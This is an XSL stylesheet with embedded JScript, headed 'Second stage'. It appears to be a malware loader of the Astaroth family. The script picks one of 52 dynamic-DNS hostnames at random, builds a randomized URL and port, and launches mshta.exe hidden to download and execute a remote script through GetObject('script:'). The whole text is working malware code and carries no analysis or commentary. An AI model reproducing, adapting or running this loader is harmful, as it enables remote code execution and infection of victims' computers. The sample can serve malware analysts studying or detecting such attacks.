Second stage

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[



function radador(min, max)
{
  return Math.round(Math.random()*(max-min)+min)
}


	var xLuciferxs;
	var xCaverax;
	var xVRXastaroth;
	var xVRXastaroth2;
	var ss1;
	var cerfull;
	var pingadori;
	var sVarRaz;
	var smaeVar;
	var smaeVarTask;
	var sEXcVarTask;
    xLuciferxs = false;
    xCaverax = false;
	var AppWshShell = new ActiveXObject("Scripting.FileSystemObject");
	var WshShell = new ActiveXObject("WScript.Shell");
	var sdjkhiwewsw = new ActiveXObject("WScript.Shell");
	var kdcafex = new ActiveXObject("WScript.Shell");
	var MaisShell = new ActiveXObject("WScript.Shell");
	var xxWshShell = new ActiveXObject("WScript.Shell");
	var masterAppData = new ActiveXObject("WScript.Shell");

xCaverax = false;

pingadori = radador(1,52);
smaeVar = String.fromCharCode(48)+String.fromCharCode(49)+String.fromCharCode(47);

if (pingadori == 1)
{
xVRXastaroth = "setor900.jetos.com"
}
if (pingadori == 2)
{
xVRXastaroth = "setor800.itemdb.com"
}
if (pingadori == 3)
{
xVRXastaroth = "setor001.youdontcare.com"
}
if (pingadori == 4)
{
xVRXastaroth = "setor543.itsaol.com"
}
if (pingadori == 5)
{
xVRXastaroth = "setor0po.yourtrap.com"
}
if (pingadori == 6)
{
xVRXastaroth = "dolar-pp.youdontcare.com"
}
if (pingadori == 7)
{
xVRXastaroth = "dolar-pp.youdontcare.com"
}
if (pingadori == 8)
{
xVRXastaroth = "dotor-pot.jetos.com"
}
if (pingadori == 9)
{
xVRXastaroth = "reboot66.dns04.com"
}
if (pingadori == 10)
{
xVRXastaroth = "reboot.jungleheart.com"
}
if (pingadori == 11)
{
xVRXastaroth = "reboot66.dns04.com"
}
if (pingadori == 12)
{
xVRXastaroth = "reboot05.qpoe.com"
}
if (pingadori == 13)
{
xVRXastaroth = "reboot43.jetos.com"
}
if (pingadori == 14)
{
xVRXastaroth = "flare.americanunfinished.com"
}
if (pingadori == 15)
{
xVRXastaroth = "flare909.qpoe.com"
}
if (pingadori == 16)
{
xVRXastaroth = "flare87.isasecret.com"
}
if (pingadori == 17)
{
xVRXastaroth = "filadel.dns05.com"
}
if (pingadori == 18)
{
xVRXastaroth = "flare910.dynamic-dns.net"
}
if (pingadori == 19)
{
xVRXastaroth = "token-890.zyns.com"
}
if (pingadori == 20)
{
xVRXastaroth = "token-435.my03.com"
}
if (pingadori == 21)
{
xVRXastaroth = "token-56.zyns.com"
}
if (pingadori == 22)
{
xVRXastaroth = "token-14.sexxxy.biz"
}
if (pingadori == 23)
{
xVRXastaroth = "token-8-0.youdontcare.com"
}
if (pingadori == 24)
{
xVRXastaroth = "laguerra.yourtrap.com"
}
if (pingadori == 25)
{
xVRXastaroth = "jesse10.compress.to"
}
if (pingadori == 26)
{
xVRXastaroth = "tuco-salamanca.dynamic-dns.net"
}
if (pingadori == 27)
{
xVRXastaroth = "mike-ehrmantraut.wikaba.com"
}
if (pingadori == 28)
{
xVRXastaroth = "carl-grimes.dumb1.com"
}
if (pingadori == 29)
{
xVRXastaroth = "daryl-dixon.2waky.com"
}
if (pingadori == 30)
{
xVRXastaroth = "glenn-rhee.fartit.com"
}
if (pingadori == 31)
{
xVRXastaroth = "michonne.ddns.info"
}
if (pingadori == 32)
{
xVRXastaroth = "michonne.ddns.info"
}
if (pingadori == 33)
{
xVRXastaroth = "rick-grimes.mrface.com"
}
if (pingadori == 34)
{
xVRXastaroth = "maggie-greene.instanthq.com"
}
if (pingadori == 35)
{
xVRXastaroth = "carol-peletier.mrbasic.com"
}
if (pingadori == 36)
{
xVRXastaroth = "rosita-espinosa.zyns.com"
}
if (pingadori == 37)
{
xVRXastaroth = "eugene-porter.qpoe.com"
}
if (pingadori == 38)
{
xVRXastaroth = "morgan-jones.mymom.info"
}
if (pingadori == 39)
{
xVRXastaroth = "jamesford.dynamic-dns.net"
}
if (pingadori == 40)
{
xVRXastaroth = "katherine.epac.to"
}
if (pingadori == 41)
{
xVRXastaroth = "jackshephard.longmusic.com"
}
if (pingadori == 42)
{
xVRXastaroth = "sayidjarrah.compress.to"
}
if (pingadori == 43)
{
xVRXastaroth = "johnlocke.wikaba.com"
}
if (pingadori == 44)
{
xVRXastaroth = "hurleyreyes.zzux.com"
}
if (pingadori == 45)
{
xVRXastaroth = "benjaminlinus.dumb1.com"
}
if (pingadori == 46)
{
xVRXastaroth = "boonecarlyle.onedumb.com"
}
if (pingadori == 47)
{
xVRXastaroth = "clairelittleton.youdontcare.com"
}
if (pingadori == 48)
{
xVRXastaroth = "charliepace.yourtrap.com"
}
if (pingadori == 49)
{
xVRXastaroth = "mrkowwiuy.dynamic-dns.net"
}
if (pingadori == 50)
{
xVRXastaroth = "sunhwakwon.2waky.com"
}
if (pingadori == 51)
{
xVRXastaroth = "michaeldawson.toythieves.com"
}
if (pingadori == 52)
{
xVRXastaroth = "richardalpert.itemdb.com"
}


xVRXastaroth2 = 'ht"+"tp://mtx'+radador(1111111,9999999)+"."+xVRXastaroth+"/"+ smaeVar;
xVRXastaroth = 'ht"+"tp://mtx'+radador(1111111,9999999)+"."+xVRXastaroth+":"+radador(25010,25099)+"/" + smaeVar;



var WSh = new ActiveXObject("WScript.Shell");
var ShA = new ActiveXObject("Shell.Application");
ShA.ShellExecute("mshta.exe",' javascript:try{try{javascript:GetObject("script:'+xVRXastaroth+'/Seu7v128x.txt?'+radador(1111111,9999999)+'");self.close();}catch(e){}}catch(e){};self.close();', "", "open", 0);






	]]> </ms:script>